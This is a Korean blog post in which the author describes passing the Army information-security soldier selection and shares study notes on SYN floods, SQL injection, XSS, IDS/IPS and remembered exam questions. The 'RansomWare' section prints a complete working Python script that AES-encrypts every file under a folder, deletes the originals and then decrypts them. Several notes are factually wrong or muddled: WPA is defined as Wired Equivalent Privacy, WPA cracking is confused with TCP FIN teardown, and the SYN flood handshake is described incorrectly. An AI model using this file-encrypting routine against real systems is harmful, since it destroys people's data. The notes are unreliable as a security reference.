육군 정보보호병 후기

유령개·2022년 2월 10일
1

후기

목록 보기
1/1
post-thumbnail

육군 정보보호병에 지원해서 합격하게 되었습니다!

저는 소프트웨어융합대학에 재학중이며 정보보안이나 해킹과는 거리가 좀 있는 사람인데도 어느정도 상식을 쌓으니 합격시켜주었네요.

관련 지식은 네트워크관리사 2급이랑 정보처리기능사를 취득하며 어느정도 접해봤고, 그 외 문제를 좀 풀어보며 익히려고 노력했습니다.

합격 수기를 간단히 적어볼까 합니다.


과정

  1. 서류심사 (1차)
  2. 필기시험 (2차)
  3. 면접 (2차)

위와 같은 점수로 합격을 했습니다.

1차지원 같은 경우는 서류심사를 통해서 뽑고 2차는 대전충남지방병무청에 가서 필기시험과 면접 후에 최종 결과를 통보받을수 있었습니다.

서류에 관해서는 제가 딱히 드릴 말씀이 없습니다. 병무청 홈페이지에 들어가보시면 몇몇 자격증이 가선점을 주는데 저같은 경우는 동급 추가점수인 네트워크관리사나 정보처리기능사에 가산점이 붙고 다니는 학과에 추가점수를 받아 서류 34점으로 무난히 합격했습니다.

필기시험하고 면접을 준비한다고 상당히 애먹었는데 만약 정보보호병을 준비하시는 분들이 제 글을 본다면 조금 더 수월하게 준비할 수 있지 않을까 싶습니다.


필기 준비

필기는 무조건 정보보안기사 기출 풀어봐야 합니다.

보안기사에서 모든 문제가 다나옵니다.

기수가 틀려지면 모르겠지만 저같은 경우는 시험지에 10문제가 나왔고, 모두 보안 기사에서 한번씩은 본 문제들이여서 풀 수 있었습니다.

제가 보안기사 보면서 본 사이트 참조해드릴테니 다 보는건 현실적으로 무리가 있고 200문제 내지 300문제만 눈으로 훑어도 큰 도움이 되리라 확신합니다.

1~14회 보안기사 기출문제

다른 문제집 볼 필요 없이 계속 저것만 훑어보세요. 필기문제는 정말 저기서 갈라집니다.

평균적인 합격점수로 추론해봤을때 3~4문제 정도 맞추면 얼추 커트라인 이상으로 무난히 통과가 가능한 것 같습니다.


면접 준비

면접을 제가 참 고민을 많이 했습니다.

인터넷에 올라온 후기같은걸 보면 막 해킹기법 워터링 홀이 뭐냐, 브루트포스 어택을 아냐 이런씩으로 물어보시던데 이걸 그럼 다 외워가야하냐 생각이 막막했습니다.

면접은 총 두번에 걸쳐서 보는데, 한분은 군무원인거 같았고 한분은 대위이신것 같더라고요.

군무원 분은 만약 그룹간의 마찰이 생기면 어떻게 대처할 것인가, 또는 밤샘 근무할 일이 많을텐데 어떻게 대처할 것인가 이런 형식적인 질문을 하셨고 다수결에 따라서 어떻게 어떻게 할 것이다 라고 에둘러 대답하니 어찌저찌 넘어간 것 같습니다.

개인적인 생각으론 면접후에 핵심적인 질문은 대위님이 많이 하신 것 같았습니다.

대위님도 평범한 질문을 꽤 하셨는데, 그외에 제가 좀 핵심적으로 느낀 걸 꼽자면

  1. 로그를 아냐
  2. 아는 정보보안 장비가 있냐

이정도였습니다.

저는 막 복잡한 해킹기법 이야기하실줄 알고 준비를 꽤 많이 해갔는데 아쉽더라고요.
여기서 정말 임팩트있게 느낀건 아는 보안장비가 있냐는 질문이 나왔을 때 IPS랑 IDS를 말씀드리니 정말 눈이 틀려진 것 같았습니다. 간략히 설명하니 만족하셨던 것 같구요.

면접전에 공부한 이런 전문적인 지식을 내포하는게 핵심 포인트인 것 같습니다.
아래에 제가 면접 대비하며 정리해놓은 파일 기재할테니 참고하시면 좋을꺼같아요.


해킹 기법 정리

1.Syn/Ack Flood


코드출처: Normaltic

◉ client ack (클라이언트 데이터 보내기전 동기화 요청) ->server syn/ack(서버응답) -> client ack(클라이언트 응답)

◉ TCP접속을 성공시키기 위해 반드시 필요한 과정 - > 3way handshaking

◉ ack(응답)을 안보내니까 syn이 꽉차서 syn 백로그큐를 폭주시켜서 dinial of service 가 발생함

◉ FIN Flag를 이용한 4way handshaking 또한 존재

대응책

1.백로그큐 크기 늘림
2.신 쿠키 설정
3.방화벽에 임계치 설정
4.tcp 연결 과정 대기시간 줄임

DDOS 대응방안

◉ DOS공격이 맞는지 명확히 판단

◉ 형 파악 후 차단정책 근거 확보

◉ 차단정책 설정

◉ 공격대비/정책업데이트/좀비PC IP확보

◉ 막는법은 없고 서버 증설하거나 해당 ip를 서버에서 차단시킴 /서버 ip바꾸기/클라우드플레어

◉ 윈도우에서 iis(internet information service)에서 ip및 도메인 차단 들어가서 막기 시전

◉ 리눅스에서 root # route add -host [IP] reject

2.SQL Injection

Sql 질의문을 삽입하는 공격

◉ 정상 로그인


◉ 해커가 입력한 로그인

◉ where 절에서 and 조건은 or조건보다 선행되기 때문에 무조건 true값 리턴, 모든 데이터 출력되버림

◉ 대충 아이디 ~(SQL 질의문 추가)

◉ 정상적인 질의쿼리: select * from user where id=’[사용자ID]’

◉ 인젝션당한쿼리: select * from user where id=’[사용자ID]’~~~임의의 sql 구문

◉ blind/mass/union 등 다양한 변화형태 존재 blind->참거짓 리턴

◉ WAS(웹애플리케이션 서버) -> database
       예: sql : {} 하나 사와
       {} 빵
       {} 빵 하나 사오고 건물 한채 계약해
       DB에 임의의 SQL명령 실행(쉘까지 확보 가능)
       DB의 데이터를 추출
       인증 우회
       DB 데이터 변조

◉ 악성 파일 업로드 가능 막는법: 쿼리와 관련된 코드를 죄다 필터링시켜서 시큐어 코딩

3.XSS Cross Site Scripting


진짜 간단히 말해서 이거.
대부분은 막아두지 근데 정말 보안 아예 안해둔 사이트는 안막아둠

보통은 이런씩으로 링크를 걸어서 알림창을 뜨게함

아스키코드로 위 실행명령을 변환시킨 뒤에 일부 웹서버는 필터링을 제대로 안해주므로 잘 통하는 경우가 있음

허점 즉, 취약점을 찾는 것이 중요함
워낙 변칙적이고 다 막기가 힘들어서 위험함

자바스크립트 형식으로 버튼/함수 응용가능

방지법

1.태그 써서 막기
2.필터링 등등..

xss 응용기법

◉ 칼리리눅스에서 xss를 응용한 BeEF 컨트롤 패널 등 사용가능
   (browser exploitation framework project)

◉ 여기에 pretty theft 같은 기법이 있음( 홈페이지 똑같이 구현해서 가짜 홈페이지에 치게하고 로그따오는거)

4.RansomWare

import glob	
	import os, random, struct
	from Cryptodome.Cipher import AES
	

	def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
	   if not out_filename:
	       out_filename = in_filename + '.yankee' # out_filename 인자를 지정안할 경우 기존 파일명을 사용하여 .yank 라는 확장명 추가
	

	   iv = os.urandom(16) # 랜덤한 16자리의 Byte값을 생성
	   encryptor = AES.new(key ,AES.MODE_CBC, iv) # cryptodomex 모듈의 AES를 이용해서 암호화 키를 생성
	   filesize = os.path.getsize(in_filename) # 현재 파일의 파일크기 추출
	

	   with open(in_filename, 'rb') as infile: # 현재파일을 바이너리 모드로 읽음
	       with open(out_filename, 'wb') as outfile: # 바이너리 모드로 새로운 파일을 생성
	           outfile.write(struct.pack('<Q', filesize)) # 파일크기를 바이너리로 int형으로 패킹하여 새 파일에 작성
	           outfile.write(iv) # 새 파일에 랜덤한 16자리의 Byte를 작성
	

	           while True:
	               chunk = infile.read(chunksize) # 현재파일의 (64 * 1024 = 65536) 만큼을 읽어들여 쓰레기값 이라고 선언
	               if len(chunk) == 0: # 현재파일 쓰레기 값의 길이가 0일때 루프 탈출
	                   break
	               elif len(chunk) % 16 != 0: # 현재 파일의 쓰레기 값이 16으로 나눴을때 나머지가 0이 아닐 경우
	                   chunk += b' ' * (16 - len(chunk) % 16) # 쓰레기값 += 빈 바이너리 (16 - 현재쓰레기길이 % 16)
	

	               outfile.write(encryptor.encrypt(chunk)) # AES로 암호화 한 쓰레기를 새 파일에 작성하고 종료
	

	def decrypt_fiㅡle(key, in_filename, out_filename=None, chunksize=24*1024):
	   """ Decrypts a file using AES (CBC mode) with the
	       given key. Parameters are similar to encrypt_file,
	       with one difference: out_filename, if not supplied
	       will be in_filename without its last extension
	       (i.e. if in_filename is 'aaa.zip.enc' then
	       out_filename will be 'aaa.zip')
	   """
	   if not out_filename:
	       out_filename = os.path.splitext(in_filename)[0] # 파일명이 지정되지 않을 경우, 기존파일의 확장자를 추출 / 현재 test.txt.enc 상태
	

	   with open(in_filename, 'rb') as infile: # 현재 파일을 바이너리로 읽어들임
	       origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0] # 현재 파일의 int형으로 된 부분을 읽어들여 다시 원래상태로 언패킹함
	       iv = infile.read(16) # 현재파일의 16자리를 읽어들임
	       decryptor = AES.new(key, AES.MODE_CBC, iv) # AES로 암호화된 키값을 생성
	

	       with open(out_filename, 'wb') as outfile: # 새 파일을 바이너리 모드로 생성
	           while True:
	               chunk = infile.read(chunksize) # 쓰레기값을 읽어들임 65536
	               if len(chunk) == 0: # 쓰레기값이 0일 경우 루프 탈출
	                   break
	               outfile.write(decryptor.decrypt(chunk)) # 쓰레기를 복호화해서 새파일에 작성
	

	           outfile.truncate(origsize) # 새 파일에 언패킹한 크기 만큼 잘라냄
	

	key = b'This is a yankee123' # AES 암호화에사용될 키값을 바이너리로 생성
	startPath = 'C:/Users/Steven/Desktop/test/**' # 암 / 복호화할 대상 경로
	

	#Encrypts all files recursively starting from startPath
	for filename in glob.iglob(startPath, recursive=True): # 대상 경로를 재귀적 호출 사용
	   if(os.path.isfile(filename)): # 현재 파일이 파일일때
	       print('Encrypting> ' + filename) # 파일명 출력
	       encrypt_file(key, filename) # Encrypt_file에 위에서 선언한 키값과 파일명을 인자로 호출
	       os.remove(filename) # 현재파일을 제거 (encrypt_file 함수에서 새파일을 작성하였기에 기존파일을 제거해야함.)
		
	#Decrypts the files
	for filename in glob.iglob(startPath, recursive=True): # 대상 경로를 재귀적 호출
	   if(os.path.isfile(filename)): # 현재파일이 파일일 때
	       fname, ext = os.path.splitext(filename) # 파일명과 확장자를 추출
	       if (ext == '.enc'): # 확장자가 .enc (암호화된 파일일 때)
	           print('Decrypting> ' + filename) # 파일명 출력
	           decrypt_file(key, filename) # 복호화 함수 실행
	           os.remove(filename) # 암호화됐던 파일을 제거 (마찬가지로 새파일을 작성하였기에 기존 파일을 제거해야함.)

5.WPA Crack

◉ 앞서 3 way handshake 가 세션을 연결하는 과정이었다면, 4 way handshake는 클라와 서버의 연결을 끊고 세션을 종료하는 과정임. 이 과정에서 해킹이 가능함

그 과정은 이러합니다.
◉ Fin wait -> close wait-> fin wait 2

◉ 여기서 time wait을 주는 이유는 Routing 지연이나 패킷 유실로 인한 재전송 등으로 인해 FIN패킷보다 늦게 도착하는 상황이 발생할 수 있기 때문

◉WPA란?
    Wired Equivalent Privacy의 약자로 유선랜에 상당하는 Privacy를 제공하기 위한 알고리즘
◉ WEP를 보완하는 암호화 방식
    WPA Version1, Vesion2가 있음






◉ 여기서 사용된 Aircrack-ng는 디텍터, 패킷 스니퍼, WEP와 [Wi-Fi Protected Aooo ccess|WPA]/WPA2-PSK 802.11 무선 LAN에 대한 크래커와 분석 도구가 탑재된 네트워크 소프트웨어이다.

IPS란?

침입 차단 시스템(侵入遮斷 - ,영어:Intrusion Prevention Systems (IPS), Intrusion Detection and Prevention Systems (IDPS)) 또는침입 방지 시스템은 외부네트워크로부터 내부 네트워크로 침입하는 네트워크패킷을 찾아 제어하는 기능을 가진소프트웨어또는하드웨어이다.
IBM Proventia, 윈스 Sniper IPS, Cisco 파이어파워, 티핑포인트 등

IDS란?

침입 탐지 시스템(Intrusion Detection System, IDS)은 일반적으로 시스템에 대한 원치 않는 조작을 탐지하여 준다. IDS는 매우 많은 종류들이 존재하며, 여기서는 그들 중 일부를 설명한다. 시스템에 대한 원치 않는 조작은 악의를 가진 숙련된해커또는 자동화된 툴을 사용하는스크립트 키디에 의한 공격의 형태로 행해질 수 있다
스노트나 브로같은게 ids 예

문제

  1. 클라이언트에서 서버로 쿠키를 보낼 때 사용하는 HTTP 헤더는?
    -> set-cookie와 cookie 등의 선지가 있었다.
    set-cookie, 중간에 개인정보 탈취등을 방지하기 위해 세션등이 사용됨

  2. 다음 중 전자상거래와 관련이 없는 것은?-> ebXML, SET, SSL, EMV가 선지였다.
    ssl은 인터넷 데이터 암호화 기술

  3. chmod 명령어의 특징이 아닌 것은?-> 파일과 디렉토리를 rename할 수 있다는 선지를 선택했다.

  4. HTTP 오류 코드와 그 뜻을 알맞게 짝지은 것이 아닌 것은?
    -> 200, 403, 404, 500이 나왔다.

  5. 다음 중 입력값에 대한 검증 / 특수문자 처리를 하지 않은 것과 무관한 공격 기법은?
    -> injection 기법 두세 종류와 'watering hole'이 나왔다. 'watering hole'을 골랐다.

    watering hole : 워터링 홀 공격이란 공격대상이 자주 방문하는 홈페이지를 사전에 악성코드에 감염시킨 뒤 공격대상이 접속 할 때까지 잠복하면서 기다린다. 그리고 공격대상이 접속하면 비로서 공격을 시도하는 수법이다. 홈페이지에 접속하는 모든 사용자를 공격하기 때문에 접속하는 모든 사용자가 공격의 대상이 될 수 있다

◉ xss크로스사이트스크립트, 스크립트엔진 취약점과도 연관있음

  1. 리눅스 방화벽에서 ping에 대한 응답으로 'destination unreachable'을 리턴하기 위해 설정해야 하는 플래그는?
    -> DENY, REJECT 등이 있었다. REJECT를 골랐다.

  2. 다음 화면은 어떤 명령어의 실행 결과인가? (ping 실행 화면)
    -> 답이 ping이다 ㅋㅋ

  3. 다음 중 IPS에 대한 설명으로 올바르지 않은 것은? (그냥 IPS가 아니라 어플리케이션 뭐시기 IPS이었는데 기억이 안난다)

  4. 침해 단계의 심각성?에 따라 나열할 때, 빈칸에 들어갈 단어들은? (emergency에서 debug까지 나열되어 있었다.)
    -> alert, info 등이 있었는데, 그냥 영어 할 줄만 알면 나열 가능하다

◉ 사고 전 준비 과정]→[사고 탐지]→[초기 대응]→[대응 전략 체계화]→[사고 조사]→[보고서 작성]→[해결]

  1. 침입이 있는데, 없다고 판단하는 경우는 뭐라고 하는가? (True/False Positive/Negative 중 선택)-> False Negative라고 답했는데, 맞을지 모르겠다.

◉ 1번
전자서명과 관련없는 프로토콜을 고르시오.
1. DSA
2. KCDSA
3. ECDSA
4. A5/3
=> 답 : 4
dsa가 digital signature algorithm 이므로 dsa붙은거 고르면된다.

◉ 2번
DB 보안으로서 적절하지 못한 자세는? (문제설명이 똑같지는 않지만 취지는 동일하다.)
1. 관리자를 최소한으로 만든다.
2. 로컬 계정으로 접속하는 것을 금지
3. Guest 계정으로 접속하는 것을 금지
4. 기억 안나는데 답은 아니였음
=> 답 : 2
​로컬 계정으로 접속하는게 안되면 뭐 다 안되지

◉ 3번
SIEM에서 사용되는 프로토콜로 적절하지 못한 것은?
1. Qrader
2. Arcsight
3. SPLUNK
4. beStorm
=> 답 : 4 (정답은 기억 안나는데 나머지 보기는 틀린 보기임)
​siem = sim(보안정보관리) + sem(보안이벤트관리)

◉ 4번
공개키와 대칭키 알고리즘을 사용하여 키교환을 하는 방식에서 제 3자가 해당 공개키를 인증할 수 있는 시스템은?
(문제설명이 똑같지는 않지만 취지는 동일하다.)
1. 키 분배 인증 센터
2. RSA ->공개키 암호시스템
3. Diffie Hellman
4. 기억 안남
=> 답 : 1

◉ 5번 문제 기억 안남

◉ 6번
파일 시스템 내에서 파일이나 디렉토리의 고유한 번호, 블록 정보 등이 담겨있는 파일은?
1. boot
2. data
3. i-node
4. 기억 안남
=> 답 : 3

◉ 7번
멀티 쓰레드나 멀티 프로세스에서 공유 자원을 여러 실행흐름이 접근하여 발생될 수 있는 취약점은?
1. buffer overflow 메모리 취약점 ->스택””은 해당버퍼에 할당된거보다 많이쓸때
2. Return to Library 라이브러리 함수 리턴
3. Race Condition ->상호배제,진행,한정대기
4. SQL Injection
=> 답 : 3

◉ 8번
웹 로그 파일에 기록되는 보기로 알맞지 않은 것을 고르시오.
1. IP 주소
2. 접속 시 Method
3. 접속 시 프로토콜
4. 접속 시 포트번호
=> 답 : 3 (정답이 정확하지는 않음 필자는 3번으로 적음)

◉ 9번
IDS가 수행되는 절차를 알맞게 배열한 보기를 고르시오.
=> 답 : [데이터 수집 -> 가공 -> 분석 -> 보고]

◉ 10번
TCP에서 4way HandShake의 연결 종료 과정에서 Seq와 ACK의 번호로 ㄱ, ㄴ, ㄷ, ㄹ에 알맞는 번호가 들어간 것을 고르시오.
=> 이 문제는 연결 종료 과정을 보여주면서 빈칸 기호와 번호가 일치하는 보기를 고르는 문제임. 답은 기억 안남

◉ strcpy 대신 strncpy를 사용하는 이유버퍼 오버플로우/scanf,getbyhostname등도 여기속함
◉ NMS가 확인할 수 없는 것호스트의 CPU 점유율
◉ 윈도우 공유 폴더 취약점(Null SessionIPC$
◉ TCP에서 클라이언트의 버퍼 오버플로우를 막기 위한 것흐름 제어
◉ crontab과 관련된 문제
◉ 사용자 인증 관련 문제최대 권한
◉ 다음 로그는 어떤 공격인가?랜드 공격(Land Attack)
◉ 디지털 포렌식에서 우선적으로 분석해야 하는 것레지스터

웹 대상으로 이루어지는 공격 시도를 막는 것웹 방화벽(WAF)

◉ 1. 파일 업로드 취약점을 묻는 문제 (단답식)

공격자는 서버 사이드 스크립트(PHP, JSP, .NET 등)을 이용하여 웹쉘(WebShell)을 제작
웹쉘(WebShell)은 원격에서 웹 서버를 제어하기 위한 목적으로 만들어졌으나, 지금은 웹쉘 = 악성코드라고 분류를 하여 안티 바이러스에서 탐지함
sql injection 과 다른점: 웹에서 노출되는 정보들을 하나씩 가져오는 sql injection 과 달리 파일 업로드 취약점은 웹쉘을 통해 시스템에 아예 침투하고 난 뒤 원하는 데이터들을 마음껏 가져오는 것
시큐어 코딩 - 소스코드 레벨 대응

◉ 2. 해시함수를 묻는 문제 (단답식)
임의의 길이를 갖는 임의의 데이터를 고정된 길이의 데이터로 매핑하는 함수를 말한다.

◉ 3. 메시지 인증코드를 묻는 문제 (단답식)
메시지 인증 코드(Message Authentication Code, 약칭 MAC)는메시지의 인증에 쓰이는 작은 크기의정보이다. MAC알고리즘은비밀 키를 입력받고, 임의-길이의 메시지를 인증한다.

◉ 4. 포맷 스트링 취약점을 묻는 문제 (답답식)
◉ 5. 운영체제 프로세스 상태 관련 문제 - 임계상태, 교착상태, 상호베재 등등 (객관식)
◉ 6. 포렌식 이미지 생성 프로그램을 묻는 문제 - nc, gz, tar, encase (객관식)
◉ 7. 로그 파일을 피해자 메일에 자동으로 전송하는 공격 프로그램을 묻는 문제 - 답 모름 ㅠㅠ (단답식)
◉ 8. VPN을 묻는 문제 (단답식)
◉ 9. OSI 7계층의 계층 중 설명에 대한 계층은 어느 계층인지 묻는 문제 (단답식)

면접준비

◉ CVE란 무엇입니까?
CVE(Common Vulnerabilities and Exposure)는 공개적으로 알려진 소프트웨어의 보안취약점을 가리키는 고유 표기를 뜻한

◉ APT 공격이 무엇입니까?
APT공격은 해커가 다양한 보안 위협을 만들어 특정 기업이나 조직의 네트워크에 지속적으로 가하는공격을 뜻한

◉ Zeroday공격이 무엇입니까?
제로 데이공격(또는 제로 데이 위협,Zero-DayAttack)은 컴퓨터 소프트웨어의 취약점을공격하는 기술적 위협으로, 해당 취약점에 대한 패치가 나오지 않은 시점에서 이루어지는공격을 말한다.

◉ 워러 크라이란 무엇입니까?
워너크라이(WannaCry) 또는워너크립트(WannaCrypt)[2],WanaCrypt0r 2.0는 2017년 5월 12일부터 등장한랜섬웨어멀웨어 툴이다. 2017년 5월 12일부터 대규모사이버 공격을 통해 널리 배포되었으며, 전세계 99개국의 컴퓨터 12만대 이상을 감염시켰다.[3][4]감염된 컴퓨터로는 20개의 언어로비트코인을 지급하면 풀어주겠다는 메시지를 띄웠다.

킬스위치 찾아냈고,방화벽이랑 인터넷 랜선꼽을때 유의하면 사전예방 가능

◉ 랜섬웨어란 무엇입니까?
랜섬웨어란 Ransom(몸값)과 Ware(제품)의 합성어로서 악성코드의 일종입니다. 해당 악성코드에 감염시컴퓨터 시스템에 접근이 제한되거나저장된 문서나 사진․동영상 파일이 암호화되어 사용할 수 없게 되며, 해커는 이에 대한 해제 대가로 금품을 요구합니다.

최근 이스라엘 보안 기업 만든 스파이웨어 페가수스가 애플뚫음
브루트 포스(무차별 대입 공격) 언급하며 그걸로도 몇백년 걸리는걸 뚫은게 대단하다고 생각함

기타 자료

  • TCP의 4-way Handshaking 과정

[STEP 1]
클라이언트가 연결을 종료하겠다는 FIN플래그를 전송한다. 이때A클라이언트는 FIN-WAIT상태가 된다.

[STEP 2] 
B서버는 FIN플래그를 받고, 일단 확인메시지 ACK 보내고 자신의 통신이 끝날때까지 기다리는데 이 상태가
B서버의 CLOSE_WAIT상태다.

[STEP 3]
연결을 종료할 준비가 되면, 연결해지를 위한 준비가 되었음을 알리기 위해  클라이언트에게 FIN플래그를 전송한다. 이때 B서버의 상태는 LAST-ACK이다.

[STEP 4]
클라이언트는 해지준비가 되었다는 ACK를 확인했다는 메시지를 보낸다.
A클라이언트의 상태가 FIN-WAIT ->TIME-WAIT 으로 변경된다.

그런데 만약 "Server에서 FIN을 전송하기 전에 전송한 패킷이 Routing 지연이나 패킷 유실로 인한 재전송 등으로 인해 FIN패킷보다 늦게 도착하는 상황"이 발생한다면 어떻게 될까요? 

Client에서 세션을 종료시킨 후 뒤늦게 도착하는 패킷이 있다면 이 패킷은 Drop되고 데이터는 유실될 것입니다. 

A클라이언트는 이러한 현상에 대비하여 Client는 Server로부터 FIN을 수신하더라도 일정시간(디폴트 240초) 동안 세션을 남겨놓고 잉여 패킷을 기다리는 과정을 거치게 되는데이 과정을"TIME_WAIT"라고 합니다. 일정시간이 지나면, 세션을 만료하고 연결을 종료시키며,"CLOSE"상태로 변화합니다. 

방화벽과 ips/ids 차이

ips/ids 차이


◉ 패킷
패킷의 구성요소

1) 헤더(Header)동기 신호 플래그, 전송지 주소, 목적지 주소, 순차 번호 등패킷에는 프로토콜의 다양한 정보들이 헤더에 기록되는데, 프로토콜에 따라 다름.

2) 데이터(Data)데이터 부분에는 실제로 전송될 내용이 있음.

3) 트레일러(Trailer)수신 측에서는 전송 중에 데이터가 손상되었는지 알 수 있음.
예) 전송 에러 검사 항목 CRC(Cyclic Redundancy Check)

OSI 7계층


Ids 침입탐지유형

◉ NIDS (네트워크 침입 감지 시스템)

◉ 호스트 침입 탐지 시스템 (HIDS)

SQL과 Blind SQL의 차이는?

◉ Sql인젝션은 쿼리를 삽입해 원하는 데이터를 한번에 얻어냄

◉ Blind sql인젝션은 쿼리가 참일때와 거짓일때의 반응으로만 데이터를 알아냄

Setuid가 뭔가요

◉ 리눅스 특수권한 중 하나로 루트유저 엑세스 파일에 일반유저가 접근하게끔 허가
◉ 8진수 4000이 비트
◉ Setgid는 8진수 2000
◉ 커널에 내장된 툴로써 패킷 필터링, connection tracking

iptables
john the ripper
브루트포스
리눅스 설정 파일/ 임시파일/ 물리적 장치
etc/tmp/dev

퍼온 정보도 많습니다
혹시 원작자이시거나 불편하신 점이 있다면 댓글에 적어주세요


정보보호병이 나름 정예병이나, SW개발병에 비하면 나름 문턱도 작고 준비만 열심히 한다면 충분히 시도해 볼만한 보직인 것 같습니다.

필자도 보안에 관련해서는 모르는 부분이 정말 많지만, 적당한 공부를 통해 합격할 수 있었네요.

아직 훈련소도 들어가보지 못했고 사령부에 배치받을지 사단급에 배치받을지도 모르지만,
아무런 생각없이 군생활 하는 것보다 특기를 살려서 하는 편이 훨씬 낫다는 확신이 듭니다.

겁내지 말고 도전해보면 뭐라도 주는것 같아요 ㅋㅋ

앞으로 정보보호병을 하며 얻게된 경험이나 일 또한 기밀을 제외하고 기재할 기회가 있길 바랍니다.

profile
한림대학교 정보과학대 2학년 재학중 / 육군 정보보호병 22-2기

2개의 댓글

comment-user-thumbnail
2022년 11월 24일

문제은행에서 가장 최근걸 공부하는게 나을까요 아니면 1회부터 보는게 나을까요?

1개의 답글